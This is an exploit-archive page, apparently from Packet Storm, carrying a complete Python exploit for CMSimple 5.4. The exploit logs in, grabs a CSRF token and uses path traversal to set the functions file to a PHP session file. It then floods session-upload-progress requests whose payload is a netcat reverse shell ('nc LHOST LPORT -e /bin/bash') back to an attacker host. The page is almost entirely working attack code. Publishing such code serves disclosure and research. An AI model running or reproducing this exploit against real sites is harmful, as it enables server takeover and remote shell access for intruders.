exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

CMSimple 5.4 Local File Inclusion / Remote Code Execution

CMSimple 5.4 Local File Inclusion / Remote Code Execution
Posted Nov 24, 2021
Authored by S1lv3r

CMSimple version 5.4 local file inclusion to remote code execution exploit.

tags | exploit, remote, local, code execution, file inclusion
SHA-256 | a4b05d1e2b8f3b37a0772e0d7ce7cf15dca4169ffda490cd7eba79ae80aacc7a

CMSimple 5.4 Local File Inclusion / Remote Code Execution

Change Mirror Download
# Exploit Title: CMSimple 5.4 - Local file inclusion (LFI) to Remote code execution (RCE) (Authenticated)
# Date: 11/15/2021
# Exploit Author: S1lv3r
# Vendor Homepage: https://www.cmsimple.org/en/
# Software Link: https://www.cmsimple.org/en/
# Version: CMSimple 5.4
# Tested on: CMSimple 5.4

# writeup:
# https://github.com/iiSiLvEr/CMSimple5.4-Vulnerabilities

#!/usr/bin/python3
import requests
import threading
import datetime
import sys
from bs4 import BeautifulSoup


x = datetime.datetime.now()
addSeconds = datetime.timedelta(0, 10)
Time = x + addSeconds

proxies = {"http": "http://127.0.0.1:8080","https": "https://127.0.0.1:8080",}
def Login():
try:
global Time
s = requests.Session()
headers= {"Content-Type": "application/x-www-form-urlencoded"}

data = f'login=true&selected=Welcome_to_CMSimple_5&User={User}&passwd={Password}&submit=Login'

response = s.post(RHOST, data=data, headers=headers, verify=False)#, proxies=proxies
if response.cookies['passwd']:
print("(+) Sucessfully Logged In With " + User + ":" + Password)

cookies = response.cookies
params = (('file', 'config'),('action', 'array'),)
response = s.get(RHOST ,cookies=cookies ,params=params,verify=False)
soup = BeautifulSoup(response.text, 'lxml')
CsrfValue = soup.find('input',attrs = {'name':'csrf_token'})['value']
print("(+) Get CSRF Token : [ " + CsrfValue + " ]")
data = f'csrf_token={CsrfValue}&functions_file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fphp%2Fsessions%2Fsess_S1lv3r&form=array&file=config&action=save'
response = s.post(RHOST, headers=headers, cookies=cookies, data=data, verify=False)
print("(+) Changing Functions file Done ")
print("(+) Check Your nc listner on " + LPORT)
except Exception as error:
print("Error, Exiting;( ")
print(error)
pass
def fuzz():
while True:
try:
sessionName = "S1lv3r"
cookies = {'PHPSESSID': sessionName}
files = {'PHP_SESSION_UPLOAD_PROGRESS':(None,
'<?php passthru("nc '+ LHOST +' '+ LPORT + ' -e /bin/bash");?>'),
'file': ('Anything', 'S1lv3r'*100, 'application/octet-stream')}
x = requests.post(RHOST, files=files, cookies=cookies, verify=False)#, proxies=proxies
except Exception as error:
print(error)
exit()
def main():
print("\n(+) CMSimple LFI to RCE \n")
Login()
threads = []
for _ in range(20):
t = threading.Thread(target=fuzz)
t.start()
threads.append(t)
for thread in threads:
thread.join

if __name__ == "__main__":

if len(sys.argv) <= 5:
print("\n(-) Usage: {} <RHOST> <LHOST> <LPORT> <USER> <PASS>".format(sys.argv[0]))
print("(-) eg: {} https://xyz.xyz 192.168.1.15 1337 ".format(sys.argv[0]))
print("\n(=) SiLvEr \n")
exit()
else:
RHOST = sys.argv[1]
LHOST = sys.argv[2]
LPORT = sys.argv[3]
User = sys.argv[4]
Password = sys.argv[5]
main()

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close